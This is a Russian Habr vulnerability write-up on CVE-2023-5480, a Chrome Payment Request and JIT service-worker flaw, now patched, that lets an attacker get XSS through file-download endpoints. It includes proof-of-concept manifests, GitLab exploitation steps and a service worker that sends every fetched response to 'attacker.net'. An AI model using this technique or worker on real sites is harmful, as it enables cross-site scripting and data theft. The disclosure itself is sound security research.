История одной уязвимости в Google Chrome

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор не несет ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону

Предисловие

Эта статья посвящена уязвимости, которую мне удалось обнаружить в браузере Google Chrome в конце прошлого года, а также рассказывает об истории её возникновения. Уязвимость существовала в течение продолжительного периода и была устранена 31 октября 2023 года.

Компания Google оценила её в 16000$

6d6c48a31cd3fd0b0e485fa4f7a484c7.jpg

В данной статье в начале будет описан ряд современных технологий, применяемых в веб-разработке, что является необходимым для полного понимания контекста появления выявленной уязвимости. В случае, если ваш интерес сосредоточен исключительно на минимальной демонстрационнии (PoC), рекомендуется сразу перейти к разделу «Уязвимость».

Service Worker

Начну с изложения об одной из моих любимых технологий — Service Worker. Этот инструмент представляет собой своего рода прокси между вашим браузером и сетью, обеспечивая возможность полного контроля над всеми исходящими запросами с вашего веб-сайта (и на него) в интернете, а также управления кэшированием.

945346917bc859f89f4ccc97695a92f5.jpg

Типичный workflow, таков:

  1. Со страницы нашего веб сайта регистрируем воркер:

    script.js

       if ('serviceWorker' in navigator) {
       navigator.serviceWorker.register('/service-worker.js')
         .then(function(registration) {
           console.log('Service Worker registration successful with scope: ', registration.scope);
         })
         .catch(function(error) {
         console.log('Service Worker registration failed: ', error);
       });
     }
    
  2. Простой пример воркера:

  self.addEventListener('fetch', function(event) {
  event.respondWith(function_that_returnedResponse());
});

Следовательно, при каждом запросе к нашему сайту, будь то запрос на изображение или fetch-запрос из JavaScript, он будет направляться через Service Worker. Результат запроса будет возвращаться с использованием предварительно зарегистрированного обработчика.

Это действительно мощный инструмент веб-разработки (для интереса, вы можете посетить `chrome://inspect/#service-workers`` и увидеть множество Service Worker’ов, используемых в данный момент в вашем браузере).

Однако, вместе с своей эффективностью, эта технология также вносит ряд проблем. Многие архитектурные решения в веб-приложениях (и даже в браузерах) иногда разрабатываются без учета этой технологии, что приводит к появлению уязвимостей.

PWA

Progressive Web Application (PWA) — это технология, которая позволяет эмулировать установку веб-сайта на устройство пользователя. Ее создание было направлено на упрощение задач разработчиков, предоставляя возможность обходить необходимость в разработке нативных приложений, если это возможно.

PWA тесно взаимосвязаны с концепцией Service Worker, предоставляя возможность реализации функционала так называемых «офлайн режимов». Это позволяет пользователям сохранять функциональность веб-сайта даже при отсутствии подключения к интернету.

Для регистрации PWA был разработан стандарт Web App Manifest. Коротко говоря, это специальный JSON-файл, примерная структура которого представлена ниже:

{
  "short_name": "My App",
  "name": "My App",
  "icons": [{
    "src": "https://www.myapp.example/icon.svg"
  }],
  "start_url": ".",
  "display": "standalone",
  "background_color": "#fff",
  "description": "Slonser example",

}

В этом файле указываются основные данные приложения. При первом посещении PWA, страница использует скрипт, аналогичный тому, который был показан в предыдущем разделе, для загрузки Service Worker.

Payments

Спецификация от 8 сентрября 2022 года утверждает следующее (в вольном переводе):

Эта спецификация описывает API, который позволяет пользовательским агентам (например, браузерам) выступать в качестве посредника между тремя сторонами в транзакции:

Получатель платежа: торговец, который ведет онлайн-магазин, или другая сторона, которая просит оплаты.
Плательщик: сторона, которая совершает покупку в этом интернет-магазине и которая аутентифицирует и авторизует платеж по мере необходимости.
Способ оплаты: средство, которое плательщик использует для оплаты получателю (например, платеж картой или кредитный перевод). Провайдер способа оплаты устанавливает экосистему для поддержки данного способа оплаты.

Из изложенного выше, скорее всего вы ничего не поняли, поэтому покажу на примере:

75d020d0c8df95469e88d43b8f60d6fe.gif

Так же это работает и в Desktop версии Chromium based браузеров:

9f03359b5a11928caf48e3b9d31b42d9.png

Что здесь происходит:

  • Пользователь заходит на сайт, который выставляет ему счет.

  • Сайт используя Payments Request API обращается к стороннему ресурсу

  • Пользователь видит всплывающее окно со сторонним ресурсом

  • Данный ресурс обрабатывает пользовательский платеж и возвращает исходному ресурсу данные о выполнении

На коде это выглядит примерно так:

function buildSupportedPaymentMethodData() {
  // Example supported payment methods:
  return [{ supportedMethods: "https://example.com/pay" }];
}

function buildShoppingCartDetails() {
  // Hardcoded for demo purposes:
  return {
    id: "order-123",
    displayItems: [
      {
        label: "Example item",
        amount: { currency: "USD", value: "1.00" },
      },
    ],
    total: {
      label: "Total",
      amount: { currency: "USD", value: "1.00" },
    },
  };
}

new PaymentRequest(buildSupportedPaymentMethodData(), {
  total: { label: "Stub", amount: { currency: "USD", value: "0.01" } },
})
  .canMakePayment()
  .then((result) => {
    if (result) {
      // Real payment request
      const request = new PaymentRequest(
        buildSupportedPaymentMethodData(),
        checkoutObject,
      );
      request.show().then((paymentResponse) => {
        // Here we would process the payment.
        paymentResponse.complete("success").then(() => {
          // Finish handling payment
        });
      });
    }
  });

То есть со стороны клиента мы:

  1. Создаем обьект PaymentRequest

  2. Передаем в него адрес обработчика платежа и данные о покупке

  3. Вызываем метод show и обрабатываем Promise с результатом/ошибкой.

Что же должен делать обработчик платежей?:

  1. По переданной ссылке он должен вернуть Link Header:

    Link: ; rel="payment-method-manifest"
    

    Тут стоит отметить, что в соотвествии с RFC5988 rel="payment-method-manifest" отсутсвует. Он будет обрабатываться только в запросах Payments API, и его парсинг написан изолировано от основной реализации

  2. Клиент перейдет по ссылке переданной пунктом ранее и воспримет его содержимое как Payment Manifest, например:

    {
      "default_applications": ["https://alicepay.com/pay/app/webappmanifest.json"],
      "supported_origins": [
        "https://bobpay.xyz",
        "https://alicepay.friendsofalice.example"
      ]
    }
    

    Тут default_applications указывает на WebAppManifest, который будет установлен

    supported_origins — указывает на поддерживаемые домены соотвественно

JIT

Как я уже упоминал ранее, Payment App должен использовать Web App Manifest, изначально созданный для простых PWA.

Однако перед разработчиками веб-стандартов встала задача налаживания коммуникации между сайтом и платежным приложением. Было принято спорное решение — воспользоваться Service Worker. Для этого к уже существующей концепции воркеров были добавлены новые обработчики событий:

self.addEventListener('paymentrequest', async e => {
    //...
});

Однако здесь возникает вопрос: при первом вызове Payment App не содержит Service Worker (поскольку он регистрируется только после первой загрузки страницы), что нарушает логику работы.

Эту проблему решили через ещё одно спорное решение — внедрение Just-In-Time (JIT)-installed воркеров. Для этого была расширена спецификация содержимого Web App Manifest. Теперь, если он используется для Payments App, он должен включать поле «serviceworker» с указанным воркером для регистрации:

  "serviceworker": {
    "src": "/download/sw-slonser.js",
    "use_cache": false,
    "scope":"/download/"
  }

Соотвественно он скачает и установить Service Worker на заданном пути, перед запуском Payment App.

Когда появилась уязвимость

Payment Request был реализован в Chromium в апреле 2018 года. Изначально было невозможно использовать уязвимость, которая будет описана далее.

Читая исходный код код Chromium, я наткнулся, что фактически запрос манифеста был реализован на тот момент так:

  headers->GetNormalizedHeader("link", &link_header);
  if (link_header.empty()) {
    // Fallback to HTTP GET when HTTP HEAD response does not contain a Link
    // header.
    FallbackToDownloadingResponseBody(final_url, std::move(download));
    return;
  }

То есть логика запроса представляла собой следущий алгоритм:

  1. Сначала проверяет заголовок Link с помощью rel=«pay-method-manifest».

  2. Если он присутствует, загружаем это содержимое, заменив указанный URL-адрес.

  3. В противном случае просто используем содержимое определенного URL-адреса.

И действительно, небольшое расследование показало, что 18 декабря 2019 года в Chromium была отправлена проблема с реализацией Payment Request:

the spec (https://w3c.github.io/payment-method-manifest/#accessing) requires that besides looking for the «Link», the direct access over URL is also allowed — «The machine-readable payment method manifest might be found either directly at the payment method identifier URL…».

То есть, человек указал, что в соответсвии со стандартами, мы можем передавать payment-manifest как по ссылке, так и по Link Header одновременно

В данный тикет была привлечена команда безопасности Chromium, которая одобрила изменения и спустя год, в марте 2020 года исправление стало доступно в стабильной ветки Chrome/Chromium

Уязвимость

Уязвимость стала возможной благодаря измению описанному в предыдущем пункте.

Фактически мы имеем уникальную ситуацию, когда уязвимость появляется только при прямом следовании веб-стандартам. Так как при его разработке не был учтен один важный момент.

Многие сайты реализуют функционал скачивания пользовательских файлов, т.e. мы имеем функционал вида:

https://example.com/download?file=filename
https://example.com/download/filename
...

Такой функционал не должен представлять прямых рисков для безопасности, потому что выставляется Header:

Content-Disposition: attachment

Таким образом, передаваемый файл будет загружен напрямую, что предотвращает возможность атак класса XSS. Это связано с тем, что невозможно передать пользователю файл с HTML-кодом для его отображения.

Учитывая то, что Payments API начало считать файл из тела запроса, просто загрузим на целевой ресурс файлы:

payment-manifest:

{
    "default_applications": ["https://example.com/download/manifest.js"],
    "supported_origins": ["https://attacker.net"]
  }

manifest.js:

{
    "name": "PWNED",
    "short_name": "PWNED",
    "icons": [{
        "src": "/download/logo.jpg",
        "sizes": "49x49",
        "type": "image/jpeg"
    }],
    "serviceworker": {
      "src": "/download/sw-slonser.js",
      "use_cache": false,
      "scope":"/download/"
    },
    "start_url":"/download/index.html"
}

logo.jpg:

* Логотип в формате JPEG *

На первый взгляд, может показаться, что это не слишком полезно, поскольку почему бы нам обрабатывать ответы, поступающие от Payments. Но здесь стоит вспомнить, как реализована коммуникация между нашим сайтом и Payment App — при помощи Service Workers.

Мы можем указывать Service Worker в Payments, как я упомянул ранее, это обычный Service Worker, просто для него предусмотрены дополнительные события. Следовательно, ничто не мешает использовать стандартные возможности Service Worker.

sw.slonser.js

self.addEventListener("fetch", (event) => {
    console.log(`Handling fetch event for ${event.request.url}`);
    let blob = new Blob([""],{type:"text/html"});
    event.respondWith(new Response(blob));
  });

Данный скрипт перехватывает все запросы к сети и в ответ возвращает html:


После этого атакующему остается перевести атакуемого на свой домен, на котором расположен следующий код:

attack.html




    
    
    Vsevolod Kokorin (Slonser) of Solidlab


    
    













По заверешнию исполнения данного скрипта, атакуемый будет перенаправлен на целевой домен, где запрос перехватит зарегестрированный Service Worker (Потому что после JIT установки они не спадают).
Соответсвенно мы получим XSS на заданом домене.

Видео, которое я отправил гугл (на нем я получал XSS на сабдомене ngrok через свою страничку на Yandex S3):

px.gif#https%3A%2F%2Fraw.githubuserconte

Пример реальной атаки

При небольшом исследовании я сразу обнаружил применение данной атаки на многих популярных ресурсах.
Описывать конкретно их я не буду, из-за этических соображений. (Так как миллионы пользователей ещё не обновили свои браузеры на основе Chrome)
Но я нашел хороший пример для демонстрации данной атаки, а так же её ограничений — Gitlab. В данный момент атаку невозможно воспроизвести на последней версии сервиса, но она была эксплуатируема ещё год назад.
Для примера, покажу эксплуатацию XSS с помощью данного бага, на Gitlab годовой давности:

  • Создать gitlab репозиторий c СI/CD runners (или использовать готовый)

    3eb2c4982e9a551987baf2685441725f.jpg
  • Добавить в него свой CI, который создает artifact с нужными файлами:

    45ef82ee94cbd0881464b63fa26fee11.jpg

    В нем я скачиваю архив с подконтрольного мне ресурса, и разпаковываю данные

  • Убедиться, что данные действительно стали доступны на странице с артефактами

    59d2ee9074fdbddf19fb5b44593dba36.jpg
  • Теперь данные файлы можно скачать напрямую по ссылке:

    https://5604-185-219-81-55.ngrok-free.app/root/test/-/jobs/13/artifacts/raw/payment-manifest.js
    

    Где test — идентификатор репозитори
    А 13 номер артефакта.

  • Подставляем данную ссылку в страницу с эксплойтом которая была предоставлена в прошлом разделе, и размещаем её на подконтрольном нам ресурсе

    b8b4cd408e645236ae79462030871675.jpg
  • Получаем испольнения нашего JS кода на домене с нашим гитлабом

    2d5ed1d6384cceced90ebff053346220.jpg

Сейчас это не работает, потому что Gitlab возвращает artifacts с Content-Type: text/plain, так как выставление Content-Type: text/plain вело к обходу CSP правила script-src: self. А регистрация Service Worker — проверяет Content-Type на принадлежность к Mime-Type Javascript.

Соответсвенно уязвимым является любой ресурс, который реализует функционал загрузки/скачивания файлов, при этом не переписывает обычный Mime-Type файла.

S3 buckets

Другим хорошим примером, являются S3 бакеты.

Amazon S3 (Simple Storage Service) — это сервис облачного хранения данных от Amazon Web Services (AWS). S3 buckets представляют собой контейнеры для хранения файлов или объектов данных внутри Amazon S3.

S3 бакеты по стандарту выставляют при скачивании Mime-Type по расширению файла. Для тех кто хочет подробнее что дает XSS на S3 бакетах, может посмотреть мой доклад.
Если обобщить:

  • Регистрируем service worker на домене с S3 бакетом:

      async function handleRequest(event) {
        const attacker_url  = "https://attacker.net?e=";
        
        let response = await fetch(event.request.url)
    
        let response_copy = response.clone();
        
        let sniffed_data = {url: event.request.url, data: await response.text()}
    
        fetch(
            attacker_url,
            {
                body: JSON.stringify(sniffed_data), 
                mode: 'no-cors', 
                method: 'POST'
            }
        )
      
        return new Response(await response_copy.blob(),{status:200})
      }
      
    
    self.addEventListener("fetch",async (event) => {
        event.respondWith(handleRequest(event));    
    });
    

Данный Service Worker будет дублировать все открываемые пользователем файлы на сервер атакующего.

Общение с Google

Многим будет интересна хронология моего общения с компанией Google, следовательно:

  • 13 октября 2023 года, я обнаружил данный недостаток

  • 14 октября 2023 года (суббота), я отправил сообщение с описанием недостатка в Chrome VRP

  • 17 октября 2023 года, сотрудники гугл начали разбирательства связанные с пролемой

  • 18 октября полностью разобрались с проблемой, недостатку был присвоен уровень опасности High

  • 19 октября был выпущен патч

  • 26 октября Google оценил мою находку в 16000$ (15000$ за саму уязвимость и 1000$ за идентификаию версии в которой уязвимость появилась)

  • 31 октября вышел Chrome 119, в котором недостаток был исправлен. Ему был присвоен идентификатор CVE-2023–5480

Я, считаю что люди занимающиеся обеспечением безопасности Chromium действовали очень оперативно. А так же дали мне справедливое вознаграждение. Спасибо им за это.

Итоги

Из этой истории можно вынести несколько выводов:

  • Даже на уровне веб стандартов могут существовать ошибки

  • В современных браузерах реализовано множество эксперементальных/не популярных Web API

  • Open Source не спасает. Данный недостаток находился 3 года в открытом доступе, но его не смогли исправить. При этом он имеет довольно простую эксплуатации (В отличии от других багов в Chromium, которые зачастую бинарные)

  • Уязвимость не возникла бы, если бы разработчики не стали «навешивать» на готовые концепции новый функционал. Это хороший пример, к чему ведет метод «костыля и велосипеда»

© Habrahabr.ru